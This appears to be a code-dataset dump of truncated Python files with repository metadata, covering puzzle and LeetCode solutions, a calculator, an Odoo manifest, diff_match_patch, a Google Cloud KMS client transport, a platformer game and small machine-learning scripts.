317,426,902
0
0
null
null
null
null
UTF-8
Python
false
false
758
py
from parse import parse from operator import methodcaller file_opened = open("input.txt", 'r') lines = file_opened.read().splitlines() def reactorMatch(first,second): if first.upper() == second.upper() and first != second: return True return False sum_ = 0 for line in lines: beforeReact = '' af...
[ "petreleonardos@gmail.com" ]
petreleonardos@gmail.com
5547b3e9164be8dae5f3be87c30fc50b9e4ece64
91d70927a526f11e9c093ef62f5d83a3e613d9ee
/exercise13/Tehtävä_L13T02.py
99d355988a478c050902c785fba7d19d0646a52e
[]
no_license
RiikkaKokko/JAMK_ohjelmoinnin_perusteet
1812b92c9b6d8b1127ca2b54e93d17fa687920b6
2be91f6346a301232f06023425408d83196cab63
refs/heads/master
2023-07-23T02:58:06.639330
2021-08-23T13:20:06
2021-08-23T13:20:06
399,109,539
0
0
null
null
null
null
UTF-8
Python
false
false
619
py
Arvosanat = [] arvosana = 0 number_of_empty_responses = 0 while True: data = (input("Kirjoita arvosana: ")) arvosana += 1 Arvosanat.append(data) if data == "": number_of_empty_responses += 1 if number_of_empty_responses == 1: Arvosanat.remove("") #print(Arvosanat...
[ "40693952+RiikkaKokko@users.noreply.github.com" ]
40693952+RiikkaKokko@users.noreply.github.com
4699041df8bc845885513fbf247fa04518328cbd
14afcc5e2b8bdb3d91b500f6e7985d8a3378e929
/src/68.文本左右对齐.py
b3689a9c97bc0475d281eab692c085002b906bbc
[]
no_license
hysapphire/leetcode-python
8569a0e76f8917165e6b9fb25bfef1afc1186e3c
8e338ee7a5c9f124e897491d6a1f4bcd1d1a6270
refs/heads/master
2022-12-03T15:17:52.557115
2020-08-17T14:19:59
2020-08-17T14:19:59
278,781,919
0
0
null
null
null
null
UTF-8
Python
false
false
1,782
py
# # @lc app=leetcode.cn id=68 lang=python3 # # [68] 文本左右对齐 # # @lc code=start class Solution: def fullJustify(self, words: List[str], maxWidth: int) -> List[str]: splited_words = [] s = [] cnt = 0 for word in words: t = cnt + len(word) if t > maxWidth: ...
[ "huoyang93@qq.com" ]
huoyang93@qq.com
b67369e584f1033bb94ffe25f1989624e70acf7b
a219071bf28605b7504d0aea2c0e35cdbaa10460
/helpdesk_luismiguel/__manifest__.py
8ff31aacd8653184c58cd827b188b554ddf6118b
[]
no_license
e-lrl/curso2020-2
3c3106da39ad5a6e53dc6c1050e0ea08019c808a
8fa5b0d702892b4ffceaf45ba7e75e781f3f2c76
refs/heads/13.0
2023-02-03T04:19:07.290378
2020-12-20T21:11:55
2020-12-20T21:11:55
316,099,365
0
0
null
2020-11-26T02:06:22
2020-11-26T02:06:22
null
UTF-8
Python
false
false
789
py
# Copyright 2020 Hergar # License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl). { "name": "helpdesk.ticket", "summary": "Helpdesk Ticket", "version": "13.0.1.0.0", "category": "Helpdesk", "website": "https://github.com/OCA/helpdesk", "author": "Hergar, Odoo Community Association...
[ "l_arpon@hergar.com" ]
l_arpon@hergar.com
5a2d06f06eacfc9d696d721d68dc22817b5a540d
f3bb68a5fd99b5fc4e8365375fa85b88b4b84ea1
/main.py
49e025aadc1081545e37d2df2eb2ce53d7dc2d8a
[]
no_license
AndreYanny/calculator
bc972f0ed4eb1354d3363be681c463d6d66ae91f
7b9bcbf8b2daf2ce1dcdd20647dbf041a8fe7c63
refs/heads/master
2023-04-11T19:18:51.300737
2021-03-31T16:30:31
2021-03-31T16:30:31
353,417,368
0
0
null
null
null
null
UTF-8
Python
false
false
1,159
py
# Program make a simple calculator # This function adds two numbers def add(x, y): print(x, "+", y, "=", x + y) # This function subtracts two numbers def subtract(x, y): print(x, "-", y, "=", x - y) # This function multiplies two numbers def multiply(x, y): print(x, "*", y, "=", x * y) # This functio...
[ "andre_osama@yahoo.com" ]
andre_osama@yahoo.com
fd00b70e65bcfa00a449b04cf78677a2199d7d70
0aad1bfab7ff39bdadd66d048de4c8d0670ca325
/gui/setup.py
6a1aa6738ccebd0501e6827d2343cc3804c497c1
[]
no_license
RidaShamasneh/SQLAlchamy
ffe50c1c9eec54cb46255071a1c9d7ff693a8800
cb56c27e6a8dabfc53b7890b33ecdfeb68343b7d
refs/heads/master
2021-02-18T08:40:08.294409
2020-07-09T14:45:13
2020-07-09T14:45:13
245,178,704
0
0
null
null
null
null
UTF-8
Python
false
false
3,476
py
################################################################# # Do not remove the py2exe package, it is needed somewhere else # ################################################################# import sys sys.path.append(r'..') sys.path.append(r'..\libs') sys.path.append(r'C:\Program Files (x86)\Microsoft Visual S...
[ "rshamasneh@asaltech.com" ]
rshamasneh@asaltech.com
d175ae5e78fe281e79ff378a83c197c643eda9d6
7ab5402a6de3eb6bdda78d1bc42a2fddc920db44
/Algorithms/Implementation/Apple and Orange/code.py
fc29e634c07686cc80db997da8fb7fd5205a3ab9
[]
no_license
elmoallistair/hackerrank
14f29c8960fca81f578f19bcb4df8978da7730a0
0d119fbe39ded3f9dc17d35661575d7822d82562
refs/heads/master
2023-06-09T18:54:24.661721
2022-10-20T12:29:34
2022-10-20T12:29:34
237,128,803
7
3
null
2023-05-31T10:32:59
2020-01-30T03:04:33
Python
UTF-8
Python
false
false
1,170
py
# Written: 02-Jan-2020 # https://www.hackerrank.com/challenges/apple-and-orange/problem #!/bin/python3 import math import os import random import re import sys # Complete the countApplesAndOranges function below. def countApplesAndOranges(s, t, a, b, apples, oranges): ap_count = or_count = 0 for i in apples:...
[ "noreply@github.com" ]
elmoallistair.noreply@github.com
6a2f2c5f0d35f4f8e7e2af202d2a7b638e94bd51
255daf96ae2641a06fd5020a65622e41b1b22ca8
/insert_sort1.py
1b11a46d3a082f3b965df4a223babe8df9a71b5e
[]
no_license
duanyiting2018/learning_python
11f7aab080e16da5dcf9bb14a4d81590eabd4c85
3041d6a6369641a0bb8e7c3161cbb988d3c37abd
refs/heads/master
2021-08-18T05:51:25.827615
2021-06-11T13:39:52
2021-06-11T13:39:52
151,018,624
4
0
null
null
null
null
UTF-8
Python
false
false
667
py
# -*- coding: utf-8 -*- """ Created on Mon Feb 24 14:05:50 2020 @author: duanyiting """ size=8 def showdata(data2): for i in range(size): print('%1d'%data2[i],end=' ') print() def insert_sort(data3): for i in range(1,size): tmp=data3[i]#tmp用来暂存数据 no=i-1 while no>=0 and tmp<...
[ "1036179833@qq.com" ]
1036179833@qq.com
c2b6c76ca7aba1eb22ec95bfa7914deef8ef88e7
93ab9665078d49028e5094e23d673574031d47e5
/Data_structures/list/meeting_point.py
b1d9fd087e06d641949969cbfa1187c8b775cc1e
[]
no_license
raghulrage/Python-programs
7072429108c2932323b5f636d06f97a07c4cb6a4
8d134fade8626c99237c48068a2d1f5c6b04a0cc
refs/heads/master
2023-05-05T23:11:36.407458
2020-10-17T05:45:58
2020-10-17T05:45:58
198,346,485
1
9
null
2021-05-22T12:50:28
2019-07-23T03:41:20
Python
UTF-8
Python
false
false
1,612
py
class Node: def __init__(self,data): self.data = data self.next = None class LinkedList(): def __init__(self): self.head = None def push(self,data): new_node = Node(data) if(self.head == None): self.head = new_node return...
[ "noreply@github.com" ]
raghulrage.noreply@github.com
d411f2560b7fea2dbce270905b09789a7a00e732
8e524f23d18c02d5b4e4d8cccff5330229a8d7eb
/EstruturaDeRepeticao/exerc8.py
c6ca2af03682e1f7ab2272b3135e42916d5cffb2
[]
no_license
Louissilver/exercicios_python
dfe8e1e37fb9300f357c0e5ceffcc559666161fe
39d7d53b83177b1dcd64d105eb13f75eed557b17
refs/heads/master
2022-12-27T03:41:31.238035
2020-10-05T23:15:32
2020-10-05T23:15:32
295,038,319
0
0
null
null
null
null
UTF-8
Python
false
false
275
py
#8.Faça um programa que leia 5 números e informe a soma e a média dos números. num = 0 soma = 0 media = 0 for i in range(1, 6): num = int(input("Digite um número: ")) soma += num media = soma/i print(f"A soma dos números é {soma} e a média deles é {media:.2f}")
[ "luisfernandosilveira23@gmail.com" ]
luisfernandosilveira23@gmail.com
5d2d9c1ac8f26a527eaf2d08e5cdd9a656e0880c
6fa701cdaa0d83caa0d3cbffe39b40e54bf3d386
/google/cloud/kms/v1/kms-v1-py/google/cloud/kms_v1/services/key_management_service/transports/base.py
0da50e0196d2991964005d561c4193993d0eb0a7
[ "Apache-2.0" ]
permissive
oltoco/googleapis-gen
bf40cfad61b4217aca07068bd4922a86e3bbd2d5
00ca50bdde80906d6f62314ef4f7630b8cdb6e15
refs/heads/master
2023-07-17T22:11:47.848185
2021-08-29T20:39:47
2021-08-29T20:39:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
26,784
py
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
[ "bazel-bot-development[bot]@users.noreply.github.com" ]
bazel-bot-development[bot]@users.noreply.github.com
127f915c4b516382f9f8475573aee8803aa3fb0f
d83cedb26a1f40b4e129416165fe7ae0947a725d
/斐波那契 列表 网上代码.py
1b473c28e6529067b98df0df1c5f18a7294c5138
[]
no_license
VestigesH/python
84ce1c188495748632edb202177db67cd75f1ebe
5b8561d171cab5cb93c5577b24d84fd01524b168
refs/heads/master
2020-06-16T14:00:35.510453
2019-07-07T02:33:08
2019-07-07T02:33:08
195,601,138
0
0
null
null
null
null
UTF-8
Python
false
false
60
py
L=[1,1] while len(L)<10: L.append(L[-1]+L[-2]) print(L)
[ "1541945594@qq.com" ]
1541945594@qq.com
e4a2ebe390211d6803336853fae8ab415dc3c629
4baf2e3f52bcbf447b368a5832ae18fd0339431c
/itchanged/diff_match_patch.py
4dae2a004574271885d834205ab24de64bf56e12
[]
no_license
markng/itchanged-server
a18798a6670ba2dc210e783d1dd140331aa36b4f
16765f3a6c51ff6a581bdfff3ee259fcf8520e1c
refs/heads/master
2016-09-06T04:06:41.132101
2010-07-12T14:27:21
2010-07-12T14:27:21
530,826
1
0
null
null
null
null
UTF-8
Python
false
false
64,638
py
#!/usr/bin/python2.4 """Diff Match and Patch Copyright 2006 Google Inc. http://code.google.com/p/google-diff-match-patch/ Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/l...
[ "mark@markng.co.uk" ]
mark@markng.co.uk
72222da4ae1741a0fe83d540d008fd9bae0c1a83
51b6d2fc53d5c632fcf01319842baebf13901e84
/atcoder.jp/abc131/abc131_a/Main.py
68ba8c087a27f58b969015b21503fb2ab8a823b3
[]
no_license
mono-0812/procon
35db3b2c21eff74fbd7b52db07f249380f6834ef
68a4b53880a228a0164052b23d1326363efcbc20
refs/heads/master
2023-05-30T17:02:58.935074
2021-06-27T12:15:10
2021-06-27T12:15:10
345,896,553
0
0
null
null
null
null
UTF-8
Python
false
false
103
py
s=input() las="" for i in s: if las==i: print("Bad") exit() las=i print("Good")
[ "frisk02.jar@gmail.com" ]
frisk02.jar@gmail.com
2850dbedb93f513dc0ee15666df35c5ff685c000
1302c48beae789b1b7837f34325a8f2b203d69df
/src/byro/bookkeeping/models/account.py
866ae96ca5bbdf954ac3dddf73f44b8cdd0bb526
[]
no_license
grince/byro
b9a8ad0d54b78ee220af6dedee119ab9ec0036df
abe8743c04ba828fdd5ff50c55c43a3b32bc26bd
refs/heads/master
2021-01-25T12:31:12.461853
2018-02-26T17:42:12
2018-02-26T17:42:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,496
py
from django.db import models from django.db.models import Q from django.utils.decorators import classproperty from django.utils.timezone import now from django.utils.translation import ugettext_lazy as _ from byro.common.models.auditable import Auditable from byro.common.models.choices import Choices class AccountCa...
[ "rixx@cutebit.de" ]
rixx@cutebit.de
dfa17b78951d1872ed8fc4f817a8579389a5a042
f9d564f1aa83eca45872dab7fbaa26dd48210d08
/huaweicloud-sdk-dws/huaweicloudsdkdws/v2/model/cancel_readonly_cluster_response.py
d682b2b92dc9ed1fe6c03084b6e00be2e4fc2041
[ "Apache-2.0" ]
permissive
huaweicloud/huaweicloud-sdk-python-v3
cde6d849ce5b1de05ac5ebfd6153f27803837d84
f69344c1dadb79067746ddf9bfde4bddc18d5ecf
refs/heads/master
2023-09-01T19:29:43.013318
2023-08-31T08:28:59
2023-08-31T08:28:59
262,207,814
103
44
NOASSERTION
2023-06-22T14:50:48
2020-05-08T02:28:43
Python
UTF-8
Python
false
false
2,467
py
# coding: utf-8 import six from huaweicloudsdkcore.sdk_response import SdkResponse from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class CancelReadonlyClusterResponse(SdkResponse): """ Attributes: openapi_types (dict): The key is attribute name a...
[ "hwcloudsdk@huawei.com" ]
hwcloudsdk@huawei.com
a4e9e0947887ea83249ad5ea387bebbd6ff85e0a
8793b5a3c6819ff3a349faaa80868035dfdf424c
/6/at_lesson/star.py
895b6681026d8de02db9a5c372d432b5b308a614
[]
no_license
MarinaFirefly/Python_homeworks
0a331d5c2235e6f9b791c136d0f08020bf688b4a
c334c828fac9d163b45fe3710db45ec393830bff
refs/heads/master
2020-09-06T15:33:41.456129
2020-02-08T09:46:30
2020-02-08T09:46:30
220,466,582
2
0
null
null
null
null
UTF-8
Python
false
false
326
py
#briliant. Only odd numbers must be entered! def star(number): for i in range(number): quantity_slash = abs(number // 2 - i) print(f"{' ' * quantity_slash}{'*' * (number - quantity_slash * 2)}") return num = int(input("Enter odd number! ")) if num%2 == 1: star(num) else: print ("Number isn't ...
[ "laktionova.marina@gmail.com" ]
laktionova.marina@gmail.com
1dd017ce55ba23554439bf43ec6c811e5a816567
4a06d9c889b5db2b7f9cbce0c39dedfce27876c4
/Application3_Q7.py
521100e0e901931296709c938ffeba32c9daa8cc
[]
no_license
Oleksandr-Olefirenko/AlgorithmicThinking
f75fe8a98877deb4ed724cdb680f893fe5830f4b
3c5986d6003ee1a00e05e736f81540001480469e
refs/heads/master
2021-05-29T22:03:01.457838
2015-08-04T19:08:25
2015-08-04T19:08:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
9,156
py
""" Student template code for Project 3 Student will implement five functions: slow_closest_pair(cluster_list) fast_closest_pair(cluster_list) closest_pair_strip(cluster_list, horiz_center, half_width) hierarchical_clustering(cluster_list, num_clusters) kmeans_clustering(cluster_list, num_clusters, num_iterations) wh...
[ "TogusaRusso@gmail.com" ]
TogusaRusso@gmail.com
30e02ab643584aa79a5e1571a8f813fc19a66bf0
a650a94b2ee02c5ac4160377105059eda51b3c32
/scraper/ont_muni_list.py
22f4dfc701a2e47a0deb9342ae71f07a821c5d04
[ "MIT" ]
permissive
asterix135/votefor_data
566dc082eb9137f2245f13a637266d33e386985d
db54a424e1455868d9d47f0726e5fbce4679aacf
refs/heads/master
2021-01-23T15:50:56.415394
2017-09-18T02:39:50
2017-09-18T02:39:50
93,273,254
0
0
null
null
null
null
UTF-8
Python
false
false
497
py
import csv import requests from lxml import html page = requests.get('http://www.mah.gov.on.ca/page1591.aspx') tree = html.fromstring(page.content) muni_names = tree.xpath( '//*[@id="content"]/div/table/tbody[2]/tr/td[1]/p/a[contains(@href, "h")]/text()' ) muni_urls = tree.xpath( '//*[@id="content"]/div/table/...
[ "chgraham@gmail.com" ]
chgraham@gmail.com
e1dde18ada9d2bd785b48f8d297f7672a2c033fc
83d30fd71aed81e391efa95b77cad4e3ab0f9522
/Копия task1_18 Vector Class.py
7da64689f87f12fc192b592fe189bb35b36dda15
[]
no_license
jooker33/learning_tasks
b59a8daceb3592871c86873ed2d0522ad9d7927b
072212540e9b3ab98978e2e2801796e2c1174a89
refs/heads/master
2023-08-28T06:09:05.908910
2021-11-01T15:57:12
2021-11-01T15:57:12
390,347,899
0
0
null
null
null
null
UTF-8
Python
false
false
441
py
class vector(): def __init__(self,x_coord,y_coord): self.x_coord=x_coord self.y_coord=y_coord def __add__(self,other): return vector(self.x_coord + other.x_coord,self.y_coord+other.y_coord) def __repr__(self): return 'Vector({}, {})'.format(self.x_coord,self.y_coord) vector_1=vector(1,3) #Вывели значения...
[ "noreply@github.com" ]
jooker33.noreply@github.com
c8a176d73ce4de43a0c744f3ba4ba152b13f907d
9c968f7cdf390f8417912519b53f1b7f6ea8b7e8
/HJ_AL/brute_force/b1065_brute.py
9f0cd478cfd5e6253c843f1b729ba4e7aabdc19b
[]
no_license
hhongjoon/TIL
aa33ce2973552a0baa0e0da5bd7d20824fd2e322
a33b20af15d3f671ea7c7b2855291e50a9036c1c
refs/heads/master
2021-08-07T17:33:39.722880
2020-04-25T08:11:02
2020-04-25T08:11:02
162,099,245
4
0
null
2019-10-30T09:06:21
2018-12-17T08:34:07
Jupyter Notebook
UTF-8
Python
false
false
427
py
num = int(input()) count=0 for i in range(1,num+1): if len(str(i)) == 1 or len(str(i))==2: count += 1 continue str_num=str(i) judge = True for j in range(0,len(str_num)-2): if int(str_num[j]) - int(str_num[j+1]) == int(str_num[j+1]) - int(str_num[j+2]): continue ...
[ "sungsung129@gmail.com" ]
sungsung129@gmail.com
bc5f1733b0803e237f45c8a20bd76e628c440728
5f0f3823e4f637dec72ec155dfda9ad485fca190
/Chapter-1/01.py
2b9ef64a6a4d1ed83eb9ea749298ae772ee2852e
[]
no_license
Loliver1224/NLP100
41eacdf45886b2c16589129812d7cc695b6fde42
458f7a8383de83840d23fb64e0047df372f3db55
refs/heads/master
2020-05-01T09:18:12.122776
2019-09-05T16:22:28
2019-09-05T16:22:28
177,397,026
0
0
null
null
null
null
UTF-8
Python
false
false
245
py
# 01. 「パタトクカシーー」 # 「パタトクカシーー」という文字列の1,3,5,7文字目を取り出して連結した文字列を得よ s = "パタトクカシーー" print(s[::2]) # 前回と同様にスライスを用いる
[ "swim.01060808@gmail.com" ]
swim.01060808@gmail.com
028660a24e92f54b0bc846a5d68b6e90ac21cddf
41710e9133d660739f8f9f17040a2a8a6082e9fb
/python/aa_modules/fitsio_has_errors/eg2.py
d4a0e6e5e75796a2ec451845dfda65e7d12df200
[]
no_license
hanjiangxue007/Programming
591678150e2e300051fdeaf09124d3893076d3a9
7a545ef2300b004497f30d27d1f2aaa032e26af5
refs/heads/master
2020-06-29T18:50:27.776557
2016-10-27T18:31:39
2016-10-27T18:31:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,094
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Author : Bhishan Poudel; Physics PhD Student, Ohio University # Date : Oct-15-2016 Sat # Last update : # # # Imports import fitsio from fitsio import FITS,FITSHDR # Often you just want to quickly read or write data without bothering to # create a FITS objec...
[ "bhishantryphysics@gmail.com" ]
bhishantryphysics@gmail.com
b4894f135a3440bcec49be233de785a09e58a382
7f32834adae48f49d088aef58718b9d7a473af26
/venv/Scripts/pip3-script.py
9986486fc369508d184eb01eefd50e5983b032fa
[]
no_license
PeiYunluo/spider-scrapy
9f6e4f38aa15f7ea4d997c1139254cd5be259981
6d91e59b509f141930de45b83a3de47db4b72346
refs/heads/master
2020-12-14T10:19:06.055652
2020-01-18T08:49:17
2020-01-18T08:49:17
234,706,039
0
0
null
null
null
null
UTF-8
Python
false
false
407
py
#!D:\PyCharmProjects\spider-scrapy\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3' __requires__ = 'pip==19.0.3' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) ...
[ "peiyunluo@icloud.com" ]
peiyunluo@icloud.com
bddbb9c1ef1aa13ff2a9a7ce5aad4cdea29336db
75915b819739c338b61e664ede0849a1cc0a17d1
/webSauna/my.app/my/new_app/views.py
9c92bedbda25df6a1573b61f20db7c932551e1d7
[]
no_license
gaurav7goyal/pyramid_framework
d3f604aa4703a878829ccbc1e50fe0ea74712985
c472c6de7e2dcd7deb4ffa187fb46165905505fe
refs/heads/master
2020-09-23T02:33:37.065084
2019-12-27T05:35:13
2019-12-27T05:35:13
225,379,442
0
0
null
null
null
null
UTF-8
Python
false
false
348
py
"""My Application views.""" from websauna.system.http import Request from websauna.system.core.route import simple_route # Configure a sample view provided by this addon @simple_route("/", route_name="home", renderer='my.new_app/home.html') def home(request: Request): """Render site homepage.""" return {"proj...
[ "gaurav.goyal@d10x.io" ]
gaurav.goyal@d10x.io
7c6ad8291a41bca71e27bfbe2cc3b423b82fcc5d
121a430d428cda6b854a40ebd371cf6210b2d05a
/platformer.py
d262ac828d8569c32d457774e22c373d4dbff307
[ "MIT" ]
permissive
oliviaosimon/Platformer
0be14eb4d163fee51e4347695cd1badd73dae12b
d70db0f969f73fe5a7bbe6babb4f77c2e35061ec
refs/heads/master
2020-04-02T23:08:31.090310
2018-12-11T16:55:24
2018-12-11T16:55:24
154,857,055
0
0
MIT
2018-10-26T15:39:41
2018-10-26T15:39:41
null
UTF-8
Python
false
false
9,228
py
""" platformer.py Author: Olivia Simon Credit: Assignment: Write and submit a program that implements the sandbox platformer game: https://github.com/HHS-IntroProgramming/Platformer """ from ggame import App, Color, LineStyle, Sprite, RectangleAsset, CircleAsset, EllipseAsset, PolygonAsset, Ima...
[ "42871888+oliviaosimon@users.noreply.github.com" ]
42871888+oliviaosimon@users.noreply.github.com
6dc940a6b8466d401e91dddd33c3ef52e54a5242
cb97215bde0c6d15e454b03ab9f264801772bf83
/Notes/Plotting/folium_extended.py
6c5d81c32ea59b71d4110067cc63feacac6af12f
[]
no_license
FWP-Computer-Science/programming2-sp2021
331f1eb2eeea70cc10bbdeaf42fc19d031fd9b00
ce407b6fa8481ece0ee1ab45128c9976e8a69f6b
refs/heads/main
2023-04-11T18:12:36.024182
2021-05-19T14:21:37
2021-05-19T14:21:37
331,132,320
0
3
null
null
null
null
UTF-8
Python
false
false
1,418
py
import folium import csv # https://python-visualization.github.io/folium/quickstart.html# art_map = folium.Map(location=[41.8781, -87.6298], zoom_start=11) # Parker 41.923000, -87.638461 # placing a marker on the map folium.Marker(location=[41.923000, -87.638461], popup="Our School", icon...
[ "bifft95@gmail.com" ]
bifft95@gmail.com
3851500e0770a527347f3612bf3cb70c49f66473
ae9fb8a01419c9f405142ec8c878608f0c0568f4
/mapit_bulk_processing/migrations/0013_auto_20160408_1040.py
b9a4155a1d098424f5490475c7e2cc73a23bd699
[]
no_license
mysociety/mapit-bulk-processing
dfbd41c6a06b9d0625a3dde797cdf9dcc07e6f7e
d3a407877145fee657bde2ca6b9d5c5ae1fe96e3
refs/heads/master
2021-01-19T03:59:16.393571
2016-08-02T12:16:30
2016-08-02T12:16:30
55,393,025
0
0
null
null
null
null
UTF-8
Python
false
false
949
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.4 on 2016-04-08 09:40 from __future__ import unicode_literals from django.db import migrations, models import mapit_bulk_processing.models class Migration(migrations.Migration): dependencies = [ ('mapit_bulk_processing', '0012_auto_20160401_1740'), ]...
[ "steve@mysociety.org" ]
steve@mysociety.org
243f9502d6d493755fd42afd6fe5df30df8792a6
8d1b2c704368e4e40dbe564f54a16658be334687
/Netflix-based/py/fdt_process.py
972cb26a617eb34c6099a20729d5ed8249673d5e
[]
no_license
zzhyzzh/Factorized-Decision-Tree
ca9b4b7bd7cdcaad4e52d98426e856efd290f167
0057c1d464d10efc0ee8f3ec30402af58a046774
refs/heads/master
2021-09-07T19:05:54.612325
2018-02-27T16:29:39
2018-02-27T16:29:39
110,657,366
0
1
null
null
null
null
UTF-8
Python
false
false
1,799
py
############# Input Package ################ from scipy.sparse import load_npz import dt_model as dt import tool_function as tf import klepto ############################################ ############### Load Data ################## rating_matrix_csc = load_npz('./netflix/sparse_matrix_100%.npz').tocsc() rating_matrix_...
[ "zzhno50@hotmail.com" ]
zzhno50@hotmail.com
6f6408c6315620f3287858f8f6276f435d001ecd
9d939421402f98030e41d8f83c5cb3c5f8eadb45
/app/decorated.py
ace26787c86114b65840ed451ff4848f3559046c
[]
no_license
miniYYan/xiaoniu_cron
3819a47c474d4a98c3959acf54ad1eaf9c3bc14a
f84902b45f58eba5b811e049154c4bf6cae2ae91
refs/heads/master
2022-12-20T04:28:05.052900
2020-09-28T01:02:57
2020-09-28T01:02:57
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,094
py
#!/usr/bin/python3 # -*- coding:utf-8 -*- from functools import wraps from datas.utils.json import api_return def api_err_return(code=1,msg='',data=''): return code,msg,data ''' 接口 api返回 ''' def api_deal_return(func): @wraps(func) def gen_status(*args, **kwargs): try: result = func(*...
[ "aniulee@qq.com" ]
aniulee@qq.com
c197ade7c48dc6d9abbc95297012c1ba1bc2f6b2
f3591f53c7a4ab6f1babdeb1ff4e21843054d2f2
/train_blog.py
decd987287d9c24bcf358e43d9a11363a7c72cf6
[ "MIT" ]
permissive
forks-learning/self_supervised
3bf0ea8d7402bb780ba68e97806798340cc921c3
a3addb9c4bc5277224eee040c6ba30230f7586fc
refs/heads/master
2022-12-08T00:24:46.495732
2020-08-26T18:01:21
2020-08-26T18:01:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,338
py
import pytorch_lightning as pl from attr import evolve from pytorch_lightning.loggers import TensorBoardLogger from moco import MoCoMethod from moco import MoCoMethodParams def main(): base_config = MoCoMethodParams( lr=0.8, batch_size=256, multi_gpu_training=False, loss_type="ip"...
[ "abe@sourceress.co" ]
abe@sourceress.co
3597afdc6cc44123ef9e2f78547e45c252287aac
6f9e4bec6bbe9a37dc69c991a9ba0090b9720bfa
/project_rango/settings/base.py
4504d734ffd99dae77f5dbb368bee1ad1005894f
[]
no_license
hkfs15/rango
13e10010e259ef88777a898f4f54621bf4677bef
0ec0902bfc070667bc3e21c8403103dafac0f2e9
refs/heads/master
2021-01-10T10:01:42.345526
2015-10-14T04:18:33
2015-10-14T04:18:33
44,223,643
0
0
null
null
null
null
UTF-8
Python
false
false
3,096
py
""" Django settings for project_rango project. Generated by 'django-admin startproject' using Django 1.8.5. For more information on this file, see https://docs.djangoproject.com/en/1.8/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.8/ref/settings/ """ # Buil...
[ "hkfs15@163.com" ]
hkfs15@163.com
f5d619cb1c3318a7c4daf4cc4c3df14dbff8b35c
37279a6b70fd432d96087f2154ded529ffbc0c9e
/binary/190-Reverse-Bits.py
cd559594ce7b9ec23bb1a474deca59b1404b5570
[]
no_license
abhishek-jana/Leetcode-Solutions
cfe1bad64fda2421ba85f23121ca50ffc59357da
9cd5d12b7438c646226a5e174571e3dbf339a179
refs/heads/master
2020-12-02T02:04:41.784082
2020-01-22T13:07:13
2020-01-22T13:07:13
230,852,748
0
0
null
null
null
null
UTF-8
Python
false
false
1,496
py
''' Reverse bits of a given 32 bits unsigned integer. Example 1: Input: 00000010100101000001111010011100 Output: 00111001011110000010100101000000 Explanation: The input binary string 00000010100101000001111010011100 represents the unsigned integer 43261596, so return 964176192 which its binary representation is 00...
[ "abhishekjana6@gmail.com" ]
abhishekjana6@gmail.com
ac86c90afb0aadf8e7f618ee3cf32b49cf3f6cca
6c28f51864cf2d2582c582f168bbd7aaf9207d71
/14_week/이레/5676_음주 코딩.py
212f133e297e07a2901ca2e9de5d4b3fd87a7de0
[]
no_license
brrgi/Algorithms
a4ae5319703b9f5daa359bb1afdb82a1b17797cc
2b7003ef0463a56f4595656d46fdae11f88d246a
refs/heads/main
2023-08-29T00:17:39.255573
2021-10-31T14:21:36
2021-10-31T14:21:36
386,301,933
2
1
null
null
null
null
UTF-8
Python
false
false
651
py
while 1: try: n,k=map(int, input().split()) tree=(n*4)*[0] nodes=list(map(int, input().split())) answer='' init(0,n-1,1) for _ in range(k): lst=input().split() if lst[0]=='C': i,V=map(int, (lst[1],lst[2])) nodes[...
[ "48500985+brrgi@users.noreply.github.com" ]
48500985+brrgi@users.noreply.github.com
ed7b2c19a04dae0bca45ca6da925bc7be5c2972b
2677510320f5d4e111d9262e7c76bd2eec1444e3
/src/control/sac_script/discrete_actor.py
a56d8e714ac784b441bc0ad032465c394d5ea915
[]
no_license
amiani/spacerl
1037da385ab7f27aaffbd7df58cbdb01164329e0
ee11a5e2b2604eb06279e76964e10aad6017ebe6
refs/heads/master
2022-06-28T20:39:45.004294
2020-05-04T00:13:35
2020-05-04T00:13:35
249,797,554
0
0
null
null
null
null
UTF-8
Python
false
false
747
py
import torch from torch.distributions import Categorical obdim, h1, h2, acdim = 6+3, 256, 256, 3 class DiscreteActor(torch.nn.Module): def __init__(self): super().__init__() self.net = torch.nn.Sequential( torch.nn.Linear(obdim, h1), torch.nn.ReLU(), torch.nn.L...
[ "amaianijohns@gmail.com" ]
amaianijohns@gmail.com
ae5725c9cb4a24fb714b7b102620f0ddc2126997
e0ba27b8b9894ccffa0bff1b3e0e35d135e5966f
/src/api/__init__.py
c9932624f8ac5a7077a105c64116fa4199bd5482
[]
no_license
tiagodread/lumen_api
0188969d178a9bca2897cb8fff0181d7ab6ee9d1
41898d2691550c530703b5771ad1176b1b4c2b9f
refs/heads/master
2020-04-04T01:08:49.312051
2018-11-06T15:49:05
2018-11-06T15:49:05
155,669,556
1
1
null
null
null
null
UTF-8
Python
false
false
22
py
from .api import Api
[ "tiago.goes2009@hotmail.com" ]
tiago.goes2009@hotmail.com
99993322ae5d3b12cf215d06c988de7930420701
6ea03449de7e8b3efcd980995eef9d2a6226fa90
/cnn_minist.py
4011f88c9c22d738db7bd4b19deccf6e3f5443c8
[]
no_license
wuzhouqiang/tensorflow2
cab6c05fa89aab7e725a54c8112bae34ba8645f7
a5bc48972cb6a7e8355dc44dc0f36ad571f7a9b6
refs/heads/master
2020-06-27T14:03:26.444538
2019-08-06T04:12:06
2019-08-06T04:12:06
199,972,058
0
0
null
null
null
null
UTF-8
Python
false
false
1,409
py
